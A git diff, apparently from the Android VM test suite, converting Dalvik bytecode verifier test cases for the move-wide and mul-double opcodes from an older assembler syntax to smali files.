-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_8.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       const-wide v0, 0
-       move-wide/16 v124, v0
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali
new file mode 100644
index 0000000..de95e05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_8.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const-wide v0, 0
+       move-wide/16 v124, v0
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.smali
new file mode 100644
index 0000000..6aeecc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_9;
+.super Ljava/lang/Object;
+.source "T_move_wide_16_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()I
+    .registers 5000
+
+    const-wide v1, 0x11f4103d5c3L
+
+    move-wide/16 v2, v1
+
+    const-wide v10, 0x11f4103d5c3L
+
+    cmp-long v4, v2, v10
+
+    return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.smali
new file mode 100644
index 0000000..7918b91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.smali
@@ -0,0 +1,54 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1;
+.super Ljava/lang/Object;
+.source "T_move_wide_from16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()Z
+    .registers 5000
+
+    const-wide v10, 0x15272f76dL
+
+    move-wide/16 v4001, v10
+
+    move-wide/from16 v255, v4001
+
+    move-wide/from16 v1, v255
+
+    const-wide v4, 0x15272f76dL
+
+    cmp-long v0, v1, v4
+
+    if-nez v0, :cond_19
+
+    const v1, 0x1
+
+    return v1
+
+    :cond_19
+    const v1, 0x0
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.smali
new file mode 100644
index 0000000..0da3128
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2;
+.super Ljava/lang/Object;
+.source "T_move_wide_from16_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()I
+    .registers 5000
+
+    const-wide v100, 0x15272f76dL
+
+    move-wide/from16 v101, v100
+
+    const-wide v4, 0x15272f76dL
+
+    cmp-long v0, v101, v4
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.d
deleted file mode 100644
index 8f95101..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_3.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       move-wide/from16 v0, v5000
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali
new file mode 100644
index 0000000..8e5a85e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_3.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       move-wide/from16 v0, v5000
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.d
deleted file mode 100644
index e5f282a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_4.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5
-       const v1, 0    
-       move-wide/from16 v5, v1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali
new file mode 100644
index 0000000..cc13647
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_4.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5
+       const v1, 0    
+       move-wide/from16 v5, v1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.d
deleted file mode 100644
index 21ec075..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_5.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move-wide/from16 v0, v4999
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali
new file mode 100644
index 0000000..fdf891a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_5.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-wide/from16 v0, v4999
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.smali
new file mode 100644
index 0000000..3553a88
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6;
+.super Ljava/lang/Object;
+.source "T_move_wide_from16_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5001
+
+    const v0, 0x7b
+
+    move/16 v4501, v0
+
+    move-wide/from16 v1, v4501
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.smali
new file mode 100644
index 0000000..0f5e250
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7;
+.super Ljava/lang/Object;
+.source "T_move_wide_from16_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v1236, v0
+
+    move-wide/16 v257, v1237
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.d
deleted file mode 100644
index 80d80e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_8.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       const-wide v0, 0
-       move-wide/from16 v124, v0
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali
new file mode 100644
index 0000000..a266fb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_8.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const-wide v0, 0
+       move-wide/from16 v124, v0
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.d
deleted file mode 100644
index 8f7a9a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_1.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali
new file mode 100644
index 0000000..838b7fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_1.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.d
deleted file mode 100644
index 99dd815..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double v0, v10, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali
new file mode 100644
index 0000000..46e2b21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v10, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.d
deleted file mode 100644
index 54a26c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_3.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)D
-.limit regs 14
-
-       mul-double v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali
new file mode 100644
index 0000000..d55a1c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_3.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       mul-double v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.d
deleted file mode 100644
index 54df7a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_4.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 14
-
-       mul-double v0, v10, v12
-       return-wide v0
